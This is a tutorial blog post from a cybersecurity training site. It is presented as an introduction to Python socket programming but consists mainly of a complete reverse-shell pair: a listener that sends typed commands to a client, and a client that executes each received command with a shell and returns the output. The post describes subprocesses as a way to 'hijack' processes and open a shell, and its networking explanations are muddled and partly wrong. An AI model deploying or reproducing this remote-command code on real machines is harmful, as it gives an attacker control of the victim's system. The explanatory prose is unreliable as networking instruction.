Network Programming with Socket in Python

November 18, 2017 | Views: 5050

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

Socket Programming is a running process between computers. The process is accomplished by the communication. Generally, internet communication is the best way for communication. The implementation of this process is done with the API (Application Programming Interface) to communicate with the protocol stack.

A protocol stack is TCP. UDP protocols are the combination of IP addresses, and a port protocol is doing the transfer of information, packet, data in the network. This transfer of information in the network is controlled by the subprocesses. But, what are subprocesses? A subprocess in simple language is the technique used to take control of another process, or hijack another process, or spawn another process, or redirect another process in another process.

Now, I want to try to explain in a programming language the API Socket Programming:

The server is Computer A:

import socket

import subprocess

import sys



if len(sys.argv) <=2:

print "Usage python server_tcp_shell.py <ipaddress> <port>"

exit()


nbytes = 4096


def tcp_shell_server():

host = sys.argv[1]

port = int(sys.argv[2])

socket_object = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

socket_object.bind((host, port))

socket_object.listen(1)

print '[+] Listening for incomming TCP on port'

conn, addr = socket_object.accept()

print '[+] We got a connection:', addr

while True:

command = raw_input("shell>")

if 'terminate' in command:

conn.send('terminate')

conn.close()

break

else:

conn.send(command)

print conn.recv(nbytes)

tcp_shell_server()

 

You need to configure the IP address of the server:

#ifconfig eth0 192.168.1.2 netmask 255.255.255.0 up

#ifconfig eth0

import socket  is the library of socket programming

import subprocess is the library of subprocess programming

import sys is the library of argument programming




host >> is the server ip address

port >> is the port number of server

socket.socket ( socket.AF_INET , socket.SOCK_STREAM ) is the function key for programming network interface

bind() function to use for accepting the connection of client

listen() function to use for wait incomming connection

raw_input("shell>") function use to open shell in the server with the subprocess communication

send() function to send the data

recv() function to recv the data of client

close() function to end the communication between server and client

 

The client is Computer B:

import socket

import subprocess

import os

import sys

if len(sys.argv) <=2:

print "Usage python client_tcp_shell.py <host> <port>"

exit()

nbytes = 1024


def tcp_reverse_client():

host = sys.argv[1]

port = int(sys.argv[2])

socket_object = socket.socket(socket.AF_INET , socket.SOCK_STREAM)

socket_object.connect((host , port))

while True:

command = socket_object.recv(nbytes)

if 'terminate' in command:

socket_object.close()

break

else:

cmd = subprocess.Popen(command , shell=True , stdout=subprocess.PIPE , stderr=subprocess.PIPE , stdin=subprocess.PIPE)

socket_object.send(cmd.stdout.read() )

socket_object.send(cmd.stderr.read() )

tcp_reverse_client()

 

First, you need to configure the interface with the client:

#ifconfig eth0 192.168.1.3 netmask 255.255.255.0 up

#ifconfig eth0

host >> IP address of the server which you want to connect

port >> port number of the server which you want to connect

socket.socket ( socket.AF_INET , socket.SOCK_STREAM ) is the function key for programming network interface

connect() function to connect with the server

recv() function to receive the data

close(), break  function to use if the connection is close

subprocess.Popen() function to use for open shell in the server, this function use to hijack the process of server and in this way to open shell in the server

send() send the command in the server, for the communication

 

First, execute the server command:

python server.py and listen

python client.py

I hope these 2 Python programs help those of you who do not understand networking socket programming with subprocesses.

Share with Friends
FacebookTwitterGoogle+LinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterGoogle+LinkedInEmail
Ready to share your knowledge and expertise?
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel